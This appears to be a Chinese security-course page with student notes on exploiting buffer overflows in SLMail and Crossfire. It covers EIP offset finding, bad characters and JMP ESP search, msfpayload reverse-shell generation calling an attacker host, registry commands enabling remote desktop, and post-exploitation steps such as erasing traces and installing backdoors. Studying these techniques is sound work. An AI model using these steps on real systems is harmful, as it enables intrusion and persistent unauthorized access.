默认计划
931人加入学习
(9人评价)
安全测试缓冲区溢出

购买过Kali Linux渗透测试、武官课程包、安全技术会员课程的学员不要再买此课程

价格 ¥ 300.00
该课程属于 高校公益行 | 网络安全实践训练营 请加入后再学习

DEP:阻止代码从数据页被执行

ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化

[展开全文]

 

环境准备:

SLMail 5.50

ImmunityDebugger

mona.py ->imm安装的pythoncommand文件夹下

DEP:阻止代码从数据页被执行

ASLR: 随机内存地址加载执行程序和DLL,每次重启地址变化

 

关闭靶机的防火墙,或者打开ICMP的ping服务

 

netstat -nao(Windows)查看所有端口

 

nc IP PORT(Kali)连接指定的端口

 

[展开全文]

 

import socket 导入socket模块

 

cp fileName1 fileName2 复制文件内容

 

 

[展开全文]

开启邮件服务器(SLmail)

查找可以输入参数的命令

开始测试

打开调试工具(Immunity Debugger)

监听110端口(即邮件服务器SLmail)

启动运行

不停向邮件服务器(SLmail)发送测试数据

查看调试工具(Immunity Debugger)

  • 寄存器
  • EIP(存放程序下一条指令的地址)

 

找到精确溢出的4个字节

  • 不停调试测试数据
[展开全文]

缓冲区本质上是内存的片段

[展开全文]

找到精确溢出的4个字节

  • 二分法/唯一字串法(下面用唯一字串法)
  • cd usr/share/metasploit-framework/tools
    
    ./pattern_create.rb 2700
  • 查看EIP(从右向左看)
  • 计算偏移量
  • ./pattern_offset.rb +EIP

  • 再发送数据确认4个字节
[展开全文]

fuzzing

将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取EIP 寄存器 数值,将跳转到 shellcode 代码段并执行;

发送0x00---0xff256个字符,查找坏字符

[展开全文]
hippo · 2018-05-19 · FUZZING思路 0

寄存器EIP 存放下一条指令的地址

内存单元以每4个字节为一组来进行存放

[展开全文]

内存地址的书写是从右到左的

39694438  ->读的时候 38 44 69 39

 

/usr/share/metasploit-framework/tools/exploit

pattern_create.rb

pattern_offset.rb

 

[展开全文]

·寻找坏字符

不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途

• 返回地址、Shellcode、buffer中都不能出现坏字符

• null byte (0x00) 空字符,用于终止字符串的拷贝操作

• return (0x0D) 回车操作,表示POP3 PASS 命令输入完成

• 思路:发送0x00 —— 0xff 256个字符,查找所有坏字符

• 0x0A

• 0x0D

[展开全文]

把EIP的内容改成ESP的地址

 

SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定

Rebase ->False

OS这一列必须是True

cd /usr/share/metasploit-framework/tools/

./nasm_shell.rb               //把汇编语言转换成二进制

jump esp -> FFE4  \xff\xe4

!mona find -s "\xff\xe4"-m openc32.dll

[展开全文]

问题:寄存器地址会变化

方法:

在内存中寻找地址固定的系统模块

寻找JMP ESP指令跳转

调用mona.py文件  打开模块

!mona modules

筛选模块

Rebase:重启后内存地址是否发生变化(这里找False)

RSLR:是否受保护

找符合  前四个False,OS为True  的模块

将(JMP ESP)指令转换为二进制(FFE4)

cd /usr/share/metasploit-framework/tools
./nasm_shell.rb

调用mona.py文件  输入命令

!mona find -s "\xff\e4" -m openc32.dll(模块名称)

若无(JMP ESP)指令,换模块继续查找

若找到,选择一个双击,在数据部分切换成汇编语言格式

点击工具栏“m”打开内存地图

注意,若程序支持DEP,则要挑选Access权限为 “R E”的模块

在(JMP ESP)指令处设置断点

开始运行

[展开全文]

find / -name msfpayload

cd /usr/share/framework2/

./msfpayload                   //用于生成payload

win32_reverse LHOST=192.168.1.117 LPORT=444 C  //生成用C语言写的反向连接444端口

win32_reverse LHOST=192.168.1.117  | grep 0d

 

win32_reverse LHOST=192.168.1.117  R | ./msfencode -b "\x00\x0a\x0d"     //-b表示不要

 

"\x90" 表示不操作    

[展开全文]

发送测试数据08.py

断点停止后,按F7

使用msfpayload生成shellcode

cd /usr/share/framework2

./msfpayload -l

注意:现在服务器防火墙通常只允许外部访问特定端口,就算运行脚本开启服务器的其他端口外部也不能访问,故shellcode一般让服务器来主动连接攻击者端口

生成shellcode

./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C

在shellcode发现坏字符,通过编码绕过

./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”

将shellcode编入程序

为了避免shellcode前几个字符被擦掉,在shellcode前面插入几个空字符

[展开全文]

先开始监听shellcode中LPORT端口

发送shellcode脚本

通过修改注册表打开服务器的远程桌面服务

echo Windows Registry Editor Version 5.00>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

regedit /s 3389.reg

重启服务器让命令生效

shutdown -r -t 0

kali安装并执行远程桌面服务

apt-get install rdesktop
rdesktop +ip

注意:若连接不上,可能是防火墙阻止

注意:RegSnap软件可以对注册表拍摄快照,通过修改防火墙设置前后的快照比较,可以找出要修改的注册表路径

[展开全文]

Linux缓冲区溢出

环境准备

将crossfire.tar.gz拷贝到/usr/games下解压

tar zxpf crossfire.tar.gz

调试工具

     • edb

本机调试(设置只允许本地访问)

• iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP

• iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP

 

[展开全文]

调试

• edb --run /usr/games/crossfire/bin/crossfire

点击两次run运行程序

唯一字符串识别 EIP 精确位置、

 

 

[展开全文]

后漏洞利用阶段

上传工具

   Linux系统

  • netcat
  •  curl
  • wget

    Windows

  • 缺少预装的下载工具

 提权

擦除攻击痕迹

  • 程序的System目录下有日志文件

 安装后门

  •  长期控制
  • Dump 密码
  •  内网渗透

 后漏洞利用阶段

  •  最大的挑战 ——防病毒软件
  •   使用合法的远程控制软件
[展开全文]